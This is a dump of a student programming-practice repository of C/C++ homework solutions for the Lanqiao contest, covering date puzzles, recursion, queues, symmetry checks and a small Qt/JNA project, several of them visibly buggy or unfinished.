Date end;
char put[][8]={"打鱼","晒网"};
scanf("%d%d%d",&start.year,&start.mouth,&start.day);
scanf("%d%d%d",&end.year,&end.mouth,&end.day);
int flag=0;
int key[]={3,2};
int tmp=0;
while(1)
{
if(tmp<key[flag])
{
tmp++;
AddDay(&start,1);
}
else
{
tmp=0;
flag=(flag+1)%2;
}
if(start.year==end.year&&start.mouth==end.mouth&&start.day==end.day)
{
printf("%s",put[flag]);
break;
}
}
}<file_sep>/2020备战蓝桥/周鑫鹏/十一次作业/11_2.cpp
#include<iostream>
#include<string>
using namespace std;
int main()
{
string str1,str2,str;
cout << "Enter a string" <<endl;
cin >> str1;
cout << "Enter another string " <<endl;
cin >> str2;
str=str1+str2;
cout << str <<endl;
return 0;
}<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-14.cpp
/*#include<iostream>
using namespace std;
int option, flag = 0,tem;
int counter;
int i = 0;
int result[] = { 0 };
void Menu()
{
cout << "输入你的操作:(1.开始比赛;2.结束比赛)" << endl;
cin >> option;
}
void Contest(int n, int k)
{
counter++;
int tem;
int left = n;
int computer;
cout << "游戏开始!" << endl;
do
{
cout << "请输入你要搬的山的总数:" << "" << endl;
cin >> tem;
while (tem > k || tem < 0)
{
cout << "输入有误!" << endl;
cout << "请输入你要搬的山的总数:" << "" << endl;
cin >> tem;
}
left -= tem;
if (left == 1)
{
cout << "你赢了!" << endl;
return;
}
computer = (left - 1)&(k + 1);
if (computer == 0||computer>k)
computer = 1;
left -= computer;
cout << "电脑要搬" << computer << "座山" << endl;
cout << "现在还有" << left << "座山可以移动。" << endl;
if (left == 1)
{
cout << "你输了!" << endl;
result [counter-1]= 1;
return;
}
} while (left);
if (result[counter - 1] = 0)
cout << "你赢了!" << endl;
}
int main()
{
cout << "游戏开始!" << endl;
while (1)
{
Menu();
if (option == 1)
{
counter++;
cout << "请输入山的总数:" << endl;
int n;
cin >> n;
cout << "请输入最大上限k:" << " ";
int k;
cin >> k;
Contest(n,k);
}
if (option == 2)
{
if (counter != 0)
{
cout << "一共玩了" << counter << "局!" << endl;
for (int i = 0; i < counter; i++)
cout << "第" << i + 1 << "局的赢家是:" << result[i] << endl;
}
return 0;
}
cout << endl;
}
system("pause");
return 0;
}
*/
<file_sep>/2020备战蓝桥/曾琳/9-7.cpp
#include <stdio.h>
#include <iostream>
#include <queue>
using namespace std;
int k, x;
bool f(int y) {
if (y > x)return false;
if (y == x)return true;
if (f(2 * y + 1) || f(3 * y + 1))return true;
return false;
}
int main()
{
cout << "输入K和N值:\n";
cin >> k;
cin.get();
cin >> x;
int a = k;
bool b = f(a);
if (b)cout << "YES" << endl;
else cout << "NO" << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/李满/第十次作业/10.4.cpp
#include<stdio.h>
int main()
{
double h[1001]={1},sum=1,t;
int i,n;
printf("input n:");
scanf("%d",&n);
for(i=1;i<=n;i++)
{
h[i]=h[i-1]/2;
sum=sum+h[i];
t=h[i]; //h[i]的值需要一个不含i的变量将其带出for语句
}
printf("共经过%fh米\n第n次反弹高度为%fh",sum,t);
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十次作业/10.4弹球高度问题.cpp
/*弹球高度问题*/
/*
#include<iostream>
using namespace std;
int main()
{
float h, t, sum = 0;
int n;
cin >> h >> n;
t = h;
for (int i = 0; i < n; i++)
{
sum += t * 2;
t = t / 2;
}
cout << sum - h << ' ' << t; //假设第一次也是从地面弹起,则在第n次落地后算的路程是每次上的过程和下的过程之和,去掉假设后总路程就是减去第一次上的路程
getchar();
getchar();
return 0;
}*/
//不用算中间过程直接用数学公式算出结果
#include<iostream>
#include<cmath>
using namespace std;
int main()
{
double h;
int n;
cin >> h >> n;
cout << (h*(1 - pow(1.0 / 2, n)) / (1 - 1.0 / 2)) * 2 - h << ' ' << h / pow(2, n);//等比数列求和
getchar();
getchar();
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-3.cpp
/*#include<iostream>
using namespace std;
int n = 0;
char a2[] = { 'A','B','C' };
char a3[] = { 'D','E','F' };
char a4[] = { 'G','H','I' };
char a5[] = { 'J','K','L' };
char a6[] = { 'M','O','N' };
char a7[] = { 'P','Q','R','S' };
char a8[] = { 'T','U','V' };
char a9[] = { 'W','X','Y','Z' };
char read[12] = {'0'};
char store[12] = { '0' };
void Sort(int number)
{
char* r = read;
while ((*r) != '\0')
{
int i = 0;
for (int b2 = 0; b2 < 3; b2++)
{
for (int b3 = 0; b3 < 3; b3++)
{
for (int b4 = 0; b4 < 3; b4++)
{
for (int b5 = 0; b5 < 3; b5++)
{
for (int b6 = 0; b6 < 3; b6++)
{
for (int b7 = 0; b7 < 4; b7++)
{
for (int b8 = 0; b8 < 3; b8++)
{
for (int b9 = 0; b9 < 4; b9++)
{
cout << a2[b2];
cout << a3[b3];
cout << a4[b4;
cout << a5[b5];
cout << a6[b6];
cout << a7[b7];
cout << a8[b8];
cout << a9[b9];
cout << endl;
}
}
}
}
}
}
}
}
}
}
int main()
{
cout << "input the size:\n";
int number;
cin >> number;
cout << "input the teldephone number when '#' to end" << endl;
char tem;
for (int i = 0; i < number; i++)
{
cin >> tem;
read[i] = tem;
}
Sort(number);
cout << "共有" << n << "种方案!" << endl;
system("pause");
return 0;
}
*/
<file_sep>/2020备战蓝桥/刘震/第十次作业/10.5打鱼还是晒网.cpp
/*打鱼还是晒网*/
/*
//如果直接输入的是以后第几天
#include<iostream>
using namespace std;
int main()
{
int n;
cin >> n;
cout << (((n % 5) <= 3) ? "今天打鱼" : "今天晒网");
getchar();
getchar();
return 0;
}
*/
//如果输入的是年月日的话,就转化为某一天距离1990.1.1日有多少天
//第一种:我来编写函数算出距离1990.1.1日有多少天
//第二种:直接调用库函数得出距离今天多少天
#include<iostream>
using namespace std;
const int maxn = 11;
//计算今输入的日期距离1990.1.1有多少天
int count_day(char date[]);
//非润年
int month_day[13] = { 0,31,28,31,30,31,30,31,31,30,31,30 };
//判断是否为润年
bool isRunyear(int i);
int main()
{
char date[maxn];
gets_s(date,11);
cout << (((count_day(date) % 5) <= 3) ? "今天打鱼" : "今天晒网");
getchar();;
return 0;
}
int count_day(char date[])
{
//年月日
int year, month, day, sum_day = 0;
sscanf(date, "%d %d %d", &year, &month, &day); //把字符串变成整数
//算年
for (int i = 1990; i < year; i++)
sum_day += (isRunyear(i)) ? 366 : 365;
//算月
for (int i = 1; i < month; i++)
sum_day += month_day[i];
//算日
sum_day += day;
return sum_day;
}
bool isRunyear(int i)
{
return ((i % 4 == 0 && i % 100 != 0) || i % 400 == 0) ? true : false;
}<file_sep>/2020备战蓝桥/周鑫鹏/第十二次作业/5_5.cpp
#include<iostream>
#include<string>
#include<vector>
#include<set>
using namespace std;
int main()
{
set<string> word;
int k = 0;
char s1[100];
string s="";
while (gets_s(s1)&&strcmp(s1,"")!=0)
{
s += s1;
word.insert(s);
s = "";
k++;
}
string t="";
auto it = word.begin();
auto it1 = word.end();
auto j = word.begin();
--it1;
for (it; it!=word.end(); it++)
{
for (j=word.begin(); j !=word.end(); j++)
{
if (it != word.end())
{
t = *it + *j;
word.insert(t);
if (word.size() == k)
cout << t << endl;
else
word.erase(t);
t = "";
}
}
}
return 0;
}<file_sep>/2020备战蓝桥/李满/第12次作业/12.6对称轴想法.cpp
/*下面是一点理解及思路:
输入n个坐标,
若n为奇数,则(1)其中n-1个数的横坐标平均值必与另外一个坐标的横/纵坐标相同;(2)纵坐标两两对称 ;(3)纵坐标相同的两个数横坐标平均值与对称轴横坐标相同
若n为偶数,(1)纵坐标两两对称 ;(2)纵坐标相同的两个数横坐标平均值与对称轴横坐标相同
*/
#include<iostream>
#include<stdio.h>
using namespace std;
int main()
{
int num,x[1001],y[1001]; //数组x和数组y分别存储横纵坐标且元素一一对应
cout<<"请输入坐标总数:\n"<<endl;
cin>>num;
//输入所有的数组
for(i=0;i<num;i++)
{
scanf("%d%d",&x[i],&y[i]);
}
if(num!=0&&num%2==1) //n为奇数,则(1)其中n-1个数的横坐标平均值必与另外一个坐标的横/纵坐标相同;(2)纵坐标两两对称 ;(3)纵坐标相同的两个数横坐标平均值与对称轴横坐标相同
{
// ???思路模糊
}
else(num!=0&&num%2==0) //n为偶数,(1)纵坐标两两对称 ;(2)纵坐标相同的两个数横坐标平均值与对称轴横坐标相同
{
// ???思路模糊
}
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十次作业/10-6.cpp
#include<iostream>
using namespace std;
int a[1000] = {0};//素数
int b[1000] = {0};//第二行的数
int sum = 0;
int time = 0;//多少种情况
bool IsPrime(int n)
{
int ok = 1;
for(int i=2;i<n;i++)
{
if(n%i == 0)
{
ok = 0;
break;
}
}
return ok;
}
int Prime()
{
int j = 0;
for(int i=2;i<=1993;i++)
{
if(IsPrime(i))
{
a[j] = i;
j++;
}
}
return j;
}
int T5()
{
int n = Prime();
for(int i=0;i<n;i++)
b[i] = a[i+1] - a[i];
for(int i=0;i<n-1;i++)
{
sum += b[i];
if(sum == 1898)
time++;
}
return time;
}
int main()
{
if(T5() == 0)
cout<<"not exist"<<endl;
else
cout<<"the time of this situation:"<<T5()<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/朱力/第十三次作业/13.4.cpp
#include <algorithm>
#include <iostream>
#include <vector>
#include <cmath>
#include <stdio.h>
#include <algorithm>
#include <stdlib.h>
#include <iomanip>
#include <cstring>
#include <queue>
#include <map>
#include <stack>
#include<deque>
using namespace std;
//给图形四周围上一圈由-1;
//判断每个0的四周(上下左右)是否存在-1,
//若存在-1,把0变为为-1。最后只要计算0的个数就行了。
//以上过程就是不断缩小墙
//13.4
int a[12][12];//围墙给定确定的才能确定初始条件统一,防止原数组边缘上有点
int main()
{
int count = 0;//统计点的个数
for (int i = 0; i < 12; i++) {
for (int j = 0; j < 12; j++) {
a[i][j] = 0;
}
}
for (int i = 0; i < 12; i++) {//围墙赋值
a[i][0] = -1;
a[0][i] = -1;
a[i][11] = -1;
a[11][i] = -1;
}
cout << "请输入数据,从左到右,从上到下:" << endl;
for (int i = 1; i < 11; i++) {//输入数据到数组
for (int j = 1; j < 11; j++) {
cin >> a[i][j];
}
}
for (int i = 1; i < 11; i++) {//逐步缩小围墙
for (int j = 1; j < 11; j++) {
if (a[i][j] == 0 && a[i][j - 1] == -1)
a[i][j] = -1;
if (a[i][j] == 0 && a[i][j + 1] == -1)
a[i][j] = -1;
if (a[i][j] == 0 && a[i - 1][j] == -1)
a[i][j] = -1;
if (a[i][j] == 0 && a[i + 1][j] == -1)
a[i][j] = -1;
}
}
for (int i = 1; i < 11; i++) {
for (int j = 1; j < 11; i++) {
if (a[i][j] == 0)
count++;
}
}
cout << "个数是" << count << endl;
return 0;
}
<file_sep>/2020备战蓝桥/黄杨/第十二次作业/3.cpp
#include<iostream>
#include<queue>
#include<cmath>
using namespace std;
int main(){
int n, a;
cin >> n;
queue<int> num;
for(int i = 1; i <= n; i++)
num.push(i);
cout<<"Discarded cards: ";
while(num.size() > 1){
a = num.front();
num.pop();
cout << a <<' ';
a = num.front();
num.pop();
num.push(a);
}
cout<< endl <<"Remaining card: "<< a << endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十二次作业/12-3.cpp
#include<iostream>
using namespace std;
#include<queue>
int main()
{
queue<int>a;
int n = 0;
cin>>n;
for(int i=0;i<n;i++)
a.push(i+1);
cout<<"Discarded cards:";
while(1)
{
cout<<a.front()<<" ";
a.pop();
if(a.size() == 1)
break;
a.push(a.front());
a.pop();
}
cout<<endl;
cout<<"Remaining card:"<<a.front()<<endl;
cout<<endl;
return 0;
}
<file_sep>/README.md
# FightingCode
编程训练,参加蓝桥
<file_sep>/2020备战蓝桥/朱力/第十次作业/10.4.cpp
#include<cstdio>
#include<iostream>
using namespace std;
double sum = 1;
double high=0.5;
double h(int n)
{
if (n == 1){
return high;
}
for (int i = 0; i < n-1; i++) {
sum = sum + high * 2;
high = high / 2;
}
return high;
}
int main()
{
int n;
cin >> n;
printf("第%d次反弹高度是:%lf hm\n", n, h(n));
printf("第%d次落地时,共经过%lf hm\n", n, sum);
return 0;
}<file_sep>/2020备战蓝桥/李满/9...1.cpp
#include<stdio.h>
char symbol[101];
double operation( )
{
if(symbol[0]=='+')
return operation()+operation();
else if(symbol[0]=='-')
return operation()-operation();
else if(symbol[0]=='*')
return operation()*operation();
else if(symbol[0]=='/')
return operation()/operation();
else return operation();
}
int main()
{
printf("%s",operation());
return 0;
}
<file_sep>/2020备战蓝桥/郑越/第十二次作业/对称轴.cpp
#include <iostream>
using namespace std;
int main(int argc, const char * argv[]) {
int N,i,j,xnSym=0,xSym=0,m,x,xS,k,key;
scanf("%d",&N);
int co_ord[N][2];
for(i=0;i<N;i++)
scanf("%d %d",&co_ord[i][0],&co_ord[i][1]);
k=0;
for(i=0;i<N;i++)
{
if(co_ord[i][1]==co_ord[0][1])
{
xnSym=xnSym+co_ord[i][0];
k++;
}
}
xSym=xnSym/k;
m=co_ord[0][1];
key=1;
for(i=1;i<N;i++)
{
m=co_ord[i][1];
x=0;
k=0;
for(j=0;j<N;j++)
{
if(co_ord[j][1]==m)
{
x=x+co_ord[j][0];
k++;
}
}
xS=x/k;
if(xS!=xSym)
{
key=0;
}break;
}
if(key==1)
cout<<"Yes"<<endl;
else
cout<<"NO"<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/吕经浪/第九次作业/9.1.cpp
#include<iostream>
using namespace std;
char a[55];
double RPolish ()
{
cin >> a;
if (a[0] == '+')
return RPolish() + RPolish();
else if (a[0] == '-')
return RPolish() - RPolish();
else if (a[0] == '*')
return RPolish() * RPolish();
else if (a[0] == '/')
return RPolish() / RPolish();
else
return atof(a);
}
int main()
{
cout << RPolish() << endl;
return 0;
}
<file_sep>/2020备战蓝桥/李满/第十次作业/10.5.cpp
#include<stdio.h>
int main()
{
int n,x;
printf("请输入是天数:");
scanf("%d",&n);
x=n%5;
switch(x)
{
case 0:printf("晒网");break;
case 1:printf("打鱼");break;
case 2:printf("打鱼");break;
case 3:printf("打鱼");break;
case 4:printf("晒网");break;
}
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第九次作业/9.3.cpp
#include<iostream>
#include<cstdlib>
#include<cstdio>
using namespace std;
void f(int n, int m)
{
int i, c = 0, d = n, e, g, h;
cout << n << " ";
while (1)
{
if (d == 0)break;
d = d / 10;
c++;
}
for (i = 1; i <= m; i++)
{
e = i;
for (h = c; h > 0; h--)
{
e = e * 10;
}
g = e + n;
if (g > 1000)break;
f(g, i/2);
}
}
int main()
{
int a, b;
cin >> a;
b = a / 2;
f(a, b);
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/张宇菲/第十次作业/打鱼晒网.cpp
#include<stdio.h>
typedef struct data{
int year;
int month;
int day;
}DATE;
int runyear(int);
int countday(DATE);
int main()
{
DATE today;
int result;
scanf("%d %d %d",&today.year,&today.month,&today.day);
result=countday(today)%5;
if(result>0&&result<=2)
printf("打鱼");
else
printf("晒网");
return 0;
}
int runyear(int year)
{
if((year%400==0)||(year%4==0&&year%100!=0))
return 1;
else
return 0;
}
int countday(DATE today)
{
int i,year,day,totalday=0;
int month[13]={0,31,28,31,30,31,30,31,31,30,31,30};
for(year=0;i<today.year;year++)
{
if(runyear(year))
totalday=totalday+366;
else
totalday=totalday+366;
if(runyear(today.year))
month[2]++;
for(i=0;i<=today.month;i++)
totalday=totalday+month[i];
totalday=totalday+today.day;
return totalday;
}
}
<file_sep>/2020备战蓝桥/王浩杰/第九次作业/9.5.cpp
#include<iostream>
#include<malloc.h>
using namespace std;
int f(int m,int n,int max,int max1)
{
int i,sum=0,a;
if ((n == 0) && (m == 0))return 1;
else if (n == 0)return 0;
else
{
a = m % n;
if (a == 0)max = m / n;
else max = m / n + 1;
if (m == 0)return 1;
else if(m<=max1)
{
for (i = m; i >= max; i--)
{
sum = sum + f(m - i, n - 1,max , max1);
}
}
}
return sum;
}
int main()
{
int m,n, a,max1,i,K;
cin >> K;
for (; K > 0; K--)
{
int sum = 0;
cin >> m >> n;
a = m % n;
if (a == 0)max1 = m / n;
else max1 = m / n + 1;
for (i = m; i >= max1; i--)
{
if (m - i <= max1)sum = sum + f(m - i, n - 1, m - i, max1);
else sum = sum + 1 + (m - a * max1) / max1;
}
cout << sum<<endl;
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十三次作业/13-5.cpp
#include <iostream>
using namespace std;
int N,A,B;
int a[200],b[200];
int result = 99999;
void DFS(int now, int step)//深度优先搜索
{
if(step > N)
return;
if(now == B)
result = min(result, step);
else if(step <= result)
{
b[now] = 1;
if(now - a[now] >= 1 && !b[now - a[now]])
DFS(now - a[now], step+1);
if(now + a[now] <= N && !b[now + a[now]])
DFS(now + a[now], step+1);
b[now] = 0;
}
}
int main()
{
cin>>N>>A>>B;
for(int i=1;i<=N;i++)
{
cin>>a[i];
}
b[A] = 1;
DFS(A, 0);
if(result != 99999)
cout<<result<<endl;
else
cout<<"-1"<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.2.c
#include <stdio.h>
int main()
{
char s1[80], s2[40];
int i = 0, j = 0;
scanf("%s", s1);
scanf("%s", s2);
while (s1[i] != '\0')
i++;
while (s2[j] != '\0')
s1[i++] = s2[j++];
s1[i] = '\0';
printf("\n%s\n", s1);
return 0;
}
<file_sep>/Resistance/tableview.h
#ifndef TABLEVIEW_H
#define TABLEVIEW_H
#include <QTableView>
// 和数据库操作有关
#include <QSqlDatabase>
#include <QSqlError>
#include <QSqlQuery>
#include <QSqlTableModel>
#include <QSqlRecord>
// 信息提示窗口类头文件
#include <QMessageBox>
#include <QDebug>
class TableView : public QTableView
{
Q_OBJECT
public:
explicit TableView(QWidget *parent = nullptr);
~TableView();
void MainWin_addRecordToTable(double R0 = 0, double R01 = 0, double R1 = 0, double R2 = 0, double Rx = 0); // 外部函数向数据库发送记录
void MainWin_setHandSubmit(bool flag);
private:
QSqlDatabase db;
QSqlTableModel *tableModel;
QSqlQuery query;
private:
void openMysql();
void putModelToTableView();
};
#endif // TABLEVIEW_H
<file_sep>/2020备战蓝桥/王浩杰/第九次作业/9.4.cpp
#include<iostream>
#include<cstdlib>
#include<cstdio>
using namespace std;
int f(int n)
{
if (n == 1)return 1;
else if (n == 2)return 2;
else return 2 * f(n - 1) + f(n - 2);
}
int main()
{
int a, b, c;
cin >> a;
for (; a > 0; a--)
{
cin >> b;
c = f(b);
cout << c << endl;
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/柳俊/第十次作业/10-5.cpp
#include<stdio.h>
int main()
{
int month1[13]={0,31,28,31,30,31,30,31,31,30,31,30,31},month2[13]={0,31,29,31,30,31,30,31,31,30,31,30,31};
int year,month,day,rnum=0,numtry;
printf("enter(year-month-day)\n");
scanf("%d-%d-%d",&year,&month,&day);
for(int i=1990;i<year;i++)
if(year%400==0)
rnum++;
else if(year%4==0&&year%100!=0)
rnum++;
if( (year%400==0)||(year%4==0&&year%100!=0) ){
numtry=365*(year-1990)+rnum;
for(int i=1;i<month;i++)
numtry+=month2[i];
numtry+=day;
}
if(numtry%5<=3)
printf("fishing\n");
else
printf("cleaning net");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.1.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
void f()
{
}
int main()
{
int n=0,a1=0,a2=0,a3=0,a4=0,a5=0;
char a='0';
while(a!='\n')
{
a = cin.get();
if (65 <= a && a <= 90)a1++;
else if (97 <= a&& a <= 122)a2++;
else if (48 <= a && a <= 57)a3++;
else if (a == ' ')a4++;
else if (a == '\n');
else a5++;
}
cout << "大写字母个数:" << a1 << endl;
cout << "小写字母个数:" << a2 << endl;
cout << "数字个数:" << a3 << endl;
cout << "空格个数:" << a4 << endl;
cout << "其他个数:" << a5 << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十二次作业/12.6对称轴.cpp
/*判断平面上的一组点,是否关于一条竖线对称。即找到一条垂直对称轴*/
//思路:对称轴满足所有横坐标之和的平均值,然后找每一个点是否在线的那一边也有
/*
#include<iostream>
#include<map>
using namespace std;
const int maxn = 1000;
//先测试输入一次
int main()
{
map<double, double>s;
int i, k = 0, n, bol[1000] = { 0 };
double x, y, xSum = 0, Symmetry, jSum = 0;
cin >> n;
for (i = 0; i < n; i++)
{
cin >> x >> y;
s[x] = y;
xSum += x;
}
Symmetry = xSum / n;
for (map<double, double>::iterator i = s.begin(); i != s.end(); i++)
{
if (i->first < Symmetry) //当待测坐标在对称轴的左侧时,要查看右侧是否有y值相同的点通过key来找
{
for (map<double, double>::iterator j = s.begin(); j != s.end(); j++) //遍历所有点,只测试轴右边的点
{
if (j->first > Symmetry)
if (s[i->first + (Symmetry - i->first) * 2] == s[j->first]) //通过比较两边的y值来判断是否有
{
k++;
break;
}
}
}
else if (i->first > Symmetry)
{
for (map<double, double>::iterator j = s.begin(); j != s.end(); j++)
{
if (j->first < Symmetry)
if (s[i->first - (i->first - Symmetry) * 2] == s[j->first]) //通过比较两边的y值来判断是否有
{
cout << s[i->first - (i->first - Symmetry) * 2] << " " <<s[j->first]<<endl;
k++;;
break;
}
}
}
else //待测坐标在坐标轴上
k++;
}
if (k == n)
cout << "Yes" << endl;
else
cout << "NO" << endl;
system("pause");
return 0;
}
bool Check(map<double, double>s, double Symmetry, int n);
//测量全部数据,就是把定义一个map类型的数组
int main()
{
map<double, double>s[maxn];//储存每个坐标,通过key也就是x的值来查找y的值
int nSum; //共需要输入多少组
int n[maxn]; //用来记录每组输入多少个数据
int k = 0; //这个用来判断点是否关于对称轴对称,如果对称+1
double x, y;//用来暂时存放点的坐标
double xSum[maxn] = { 0 }, Symmetry[maxn] = { 0 }; //找出对称轴
cin >> nSum;
for (int i = 0; i < nSum; i++)
{
cin >> n[i];
for (int j = 0; j < n[i]; j++)
{
cin >> x >> y;
s[i][x] = y;
xSum[i] += x;
}
Symmetry[i] = xSum[i] / n[i];
}
for (int i = 0; i < nSum; i++)
{
if (Check(s[i], Symmetry[i], n[i]))
cout << "Yes" << endl;
else
cout << "No" << endl;
}
system("pause");
return 0;
}
bool Check(map<double, double>s, double Symmetry, int n)
{
int k = 0;
for (map<double, double>::iterator i = s.begin(); i != s.end(); i++)
{
if (i->first < Symmetry) //当待测坐标在对称轴的左侧时,要查看右侧是否有y值相同的点通过key来找
{
for (map<double, double>::iterator j = s.begin(); j != s.end(); j++)
{
if (s[i->first + (Symmetry - i->first) * 2] == s[j->first]) //通过比较两边的y值来判断是否有
{
k++;
break;
}
}
}
else if (i->first > Symmetry)
{
for (map<double, double>::iterator j = s.begin(); j != s.end(); j++)
{
if (s[i->first - (Symmetry - i->first) * 2] == s[j->first]) //通过比较两边的y值来判断是否有
{
k++;;
break;
}
}
}
else //待测坐标在坐标轴上
k++;
}
if (k == n)
return true;
else
return false;
}
*/
//还是用c语言写把
#include<iostream>
using namespace std;
const int maxn = 10;
int main()
{
int nMax;
cin >> nMax;
int n[maxn];
double data[maxn][maxn][2];
double xSum[maxn] = { 0 }, aver[maxn] = { 0 };
for (int i = 0; i < nMax; i++)
{
cin >> n[i];
for (int j = 0; j < n[i]; j++)
{
cin >> data[i][j][0] >> data[i][j][1];
xSum[i] += data[i][j][0];
}
aver[i] = xSum[i] / n[i];
}
int k = 0;
double x, y;
for (int t = 0; t < nMax; t++)
{
k = 0;
for (int i = 0; i < n[t]; i++)
{
x = data[t][i][0];
y = data[t][i][1];
if (x < aver[t]) //待测点的坐标在坐标轴的左侧时
{
for (int j = 0; j < n[t]; j++)//那就要看看坐标轴右边有没有对应的横坐标,
{
if (data[t][j][0] > aver[t])
{
if (x + (aver[t] - x) * 2 == data[t][j][0]) //如果在坐标轴的右侧找到一个x对称的
{
if (y == data[t][j][1]) //在判断他们的y值是否相同
{
k++;
break;
}
}
}
}
}
else if (x > aver[t])
{
for (int j = 0; j < n[t]; j++)
{
if (data[t][j][0] < aver[t])
{
if (x - (x - aver[t]) * 2 == data[t][j][0])
{
if (y == data[t][j][1])
{
k++;
break;
}
}
}
}
}
else
k++;
}
if (k == n[t])
cout << "YES" << endl;
else
cout << "NO" << endl;
}
getchar();
getchar();
return 0;
}
<file_sep>/2020备战蓝桥/郑越/第十三次作业/4.图形面积.cpp
#include<iostream>
using namespace std;
int matrix[12][12];
int main(int argc, const char * argv[])
{
int sum=0;
for(int i=0;i<12;i++)
for(int j=0;j<12;j++)
matrix[i][j]=0;
for(int i=0;i<12;i++)
{
matrix[i][0]=-1;
matrix[0][i]=-1;
matrix[i][11]=-1;
matrix[11][i]=-1;
}
for(int i=1;i<11;i++)
for(int j=1;j<11;j++)
{
cin>>matrix[i][j];
}
for(int i=1;i<11;i++)
for(int j=1;j<11;j++)
{
if(matrix[i][j]==0&&matrix[i-1][j]==-1)
matrix[i][j]=-1;
if(matrix[i][j]==0&&matrix[i][j-1]==-1)
matrix[i][j]=-1;
if(matrix[i][j]==0&&matrix[i+1][j]==-1)
matrix[i][j]=-1;
if(matrix[i][j]==0&&matrix[i][j+1]==-1)
matrix[i][j]=-1;
}
for(int j=1;j<11;j++)
for(int i=1;i<11;i++)
{
if(matrix[i][j]==0&&matrix[i-1][j]==-1)
matrix[i][j]=-1;
if(matrix[i][j]==0&&matrix[i+1][j]==-1)
matrix[i][j]=-1;
if(matrix[i][j]==0&&matrix[i][j-1]==-1)
matrix[i][j]=-1;
if(matrix[i][j]==0&&matrix[i][j+1]==-1)
matrix[i][j]=-1;
}
for(int i=1;i<11;i++)
for(int j=1;j<11;j++)
{
if(matrix[i][j]==0)
sum++;
}
cout<<sum<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/李满/9.2.cpp
#include<stdio.h>
#include<string.h>
//1.将二进制转换为十进制;2.将十进制转换为十六进制输出
int main()
{
//1.0存储二进制数字,并读取二进制数字长度给unit
int integer2[101],integer16[101],unit,u,i=0,j=0;
printf("请输入一个二进制数字\n");
for(i;;i++)
{
scanf("%d",&integer2[i]);
}
unit=sizeof(integer2[101]);
u=unit-1;
int integer10=0,t10;
for(j;j>=1;j--,u--,i--)
{
t10=integer2[i]*(pow(2,u));
integer10=integer10+t10;
}
/*...
//1.1求得到的十进制数integer10是x位数,并存储到数组integer10当中
for(int x=0;;x++)
{
if( (int)(integer10/pow(10,x))=0 ) break;
}
int y1,y2;
for(x;x>=0;x--)
{
integer10[x]=(int)(integer10/pow(10,x-1));
integer10=integer10-integer10[x]*pow(10,x-1);
}
...*/
//2.0将十进制转换为十六进制输出
//2.1定义十六进制
int scale[16]={0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F} ;
int k,x;
//2.2十进制的数转换为存储十六进制的数组
for(k=0;x!=0;integer10=(int)integer10/16)
{
x=integer10%16;
switch(x)
{
case 0:integer16[k]=0;
case 1:integer16[k]=1;
case 2:integer16[k]=2;
case 3:integer16[k]=3;
case 4:integer16[k]=4;//
case 5:integer16[k]=5;
case 6:integer16[k]=6;
case 7:integer16[k]=7;
case 8:integer16[k]=8;
case 9:integer16[k]=9;//
case 10:integer16[k]=A;
case 11:integer16[k]=B;
case 12:integer16[k]=C;
case 13:integer16[k]=D;
case 14:integer16[k]=E;//
case 15:integer16[k]=F;
}
}
//2.3判断是否需要加“H” (用函数检验integer16[]数组中是否有字母 )
//2.4将存储数字的十六进制数组输出
int u;
for(u;;u++)
{
printf("")
}
} //说明:半成品程序暂时运行不出来。有
<file_sep>/贡献/刘震/java+Cdll+keil51+proteus实现贪吃蛇/snake/src/com/snake/SnakeDll.java
package com.snake;
import com.sun.jna.Library;
import com.sun.jna.Native;
public interface SnakeDll extends Library {
SnakeDll snakedll = (SnakeDll)Native.load("snakeDll", SnakeDll.class);
boolean OpenSerial(); // 打开串口
void SetComm(); // 配置串口
void SentDataToCOM(int data); // 发送数据
boolean CloseCOM(); // 关闭串口
}
<file_sep>/2020备战蓝桥/王浩杰/第十二次作业/12.3.cpp
#include <iostream>
#include<queue>
using namespace std;
int main()
{
queue<int> a;
int n,sum=0,f;
cin >> n;
for (int i = 1; i <= n; i++)
{
a.push(i);
}
while (sum != 1)
{
f = a.front();
cout << f << ' ';
a.pop();
f = a.front();
a.pop();
a.push(f);
sum = a.size();
}
cout << endl<< a.front();
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十三次作业/13.1模拟双端队列.cpp
//模拟双端队列
//用双端队列实现
/*
#include <queue>
#include <iostream>
#include <algorithm>
using namespace std;
int main() {
queue<int> q1;//建立队列
int order; int x;
while (1) {
cout << " 请选择命令:1-入队操作,2-出队操作,3-查询队列长度,4-结束 :";
cin >> order;
switch (order) {
case 1: cout << " 请输入需要入队的数值:" << endl;
cin >> x; q1.push(x);
break;
case 2:
if (q1.empty()) {
cout << " 队列为空" << endl;
break;
}
cout << "出队的数据为:" << q1.front() << endl;
q1.pop(); break;
case 3:
cout << q1.size() << endl;
break; default: goto q;
}
}
q: {
system("pause");
return 0;
}
}
*/
//用结构体+动态数组简单实现双端链表
#include<iostream>
using namespace std;
struct queue{ //双端队列可以在两端插入删除数据,和返回两端的数据
public:
int *data; //为了更好了利用空间
int top0, end0;
int Capacity = 0;
bool t = true, e = true; //判断两个端的指针是否按着顺序排列
public:
queue(int capacity = 20000) { top0 = end0 = capacity / 2 - 1; Capacity = capacity; data = (int*)malloc(sizeof(int)*capacity); } //初始化,都指向中间位置
~queue() { free(data); }
void push_front(int top); //在queue前面添加一个元素
void push_back(int back); //在queue最后添加一个元素
void pop_front(); //在queue前面删除一个元素
void pop_back(); //在queue后面删除一个元素
int front(); //返回queue最前面的元素
int back(); //返回queue最后面的元素
bool isfull(); //判断双端队列是否满
